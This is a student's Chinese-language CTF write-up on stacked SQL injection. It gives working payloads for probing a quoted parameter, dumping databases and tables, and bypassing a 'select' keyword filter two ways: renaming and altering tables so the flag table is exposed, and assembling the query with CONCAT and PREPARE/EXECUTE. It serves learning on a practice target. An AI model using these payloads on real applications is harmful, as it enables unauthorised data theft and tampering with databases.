寒假刷题(2)
堆叠注入
sql注入这块我还是个菜鸟,所以这道题很有必要仔细研究下
这道题有两种解法,但两种解法首先都需要利用到堆叠注入
通过尝试发现1‘报错,1‘#正常,应该是字符型注入,’闭合
然后尝试了下万能密码,发现可以爆出一些,但并不是我们想要的flag
构造payload:1' or 1=1#
尝试常规流程的order by,判断出回显点为2个字段
尝试union注入发现select被过滤了,但是尝试堆叠注入,可以爆出数据库名,说明此法可行
【sql注入语句中,(;)代表一句语句的结束,在分号(;)结束一个sql语句后继续构造下一条语句,两条语句可以一起执行,利用这种特性就产生了堆叠注入,当然堆叠注入并不适用于所有情况,因为API或数据库引擎的不支持,堆叠注入都无法实现。】
构造:1';show databases;(爆数据库)
构造:1';show tables;(爆表名)
结果已经很明显,flag就藏在flagg这个表下
构造:1’;desc flagg;(查询表结构)也可以构造1';show columns from flagg;
flag就在这张表里,但是因为用正则过滤了查询语句中的许多关键词汇,所以常规的查询语句是不可行的
构造:1';desc words;(查words这张表)
在这里就有了两种方法(太菜了,我还是得看别人的WP)
重命名
第一种是重命名,因为在之前的尝试中我们发现利用万能密码可以爆出words这张表里的内容,那么我们可以尝试将存放flag的表flagg重命名为words,words表更换其他名字,在新的words表中插入一列id,flag列更名为data,以此查询flag,因为像alert和rename这种关键字没有被过滤
构造payload:
0';rename table words to words1;rename table flagg to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
提交后再次利用万能密码爆表
这种方法是利用concat()拼接出select进行查询,以此绕过过滤。先设置待编译的语句,用concat把select拼接出来。然后进行预编译,然后执行。
1';SET @sql = CONCAT('sel','ect',' * from flagg;');PREPARE hack from @sql;EXECUTE hack;#
解释:
SET @ab = 'flagg'; //存储表名
SET @sql = concat('select * from ', @ab); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句,此处是PREPARE hack from @sql;
EXECUTE name; //执行预定义SQL语句,此处是EXECUTE hack;
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
当然我还看到了利用ASCII码来拼接的,但是道理都一样(附上链接https://www.cnblogs.com/wjw-zm/p/12359735.html)
一些总结
MySQL 的 show、rename 和 alter 命令
-
show 可以用于查看当前数据库,当前表,以及表中的字段
-
rename 用于修改 table 的名称
-
alter 用于修改表中字段的属性
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符,linux下不区分,这里我做的时候没有出现这样的问题,题目的数据类型应该改简单了
上面那个重命名的payload对于我这种不熟悉数据库语法的人来说,要想构造出来还是挺难的,所以特地去查了查这句话
sql注入预编译知识:https://www.jianshu.com/p/9972d7b33061
参考链接
https://www.cnblogs.com/wjw-zm/p/12359735.html
https://blog.csdn.net/he1234555/article/details/113916980
https://blog.csdn.net/vanessa_li/article/details/78095638
https://blog.csdn.net/qq_43622442/article/details/105450212
https://www.cnblogs.com/peri0d/p/12123814.html
https://blog.csdn.net/qq_26406447/article/details/90643951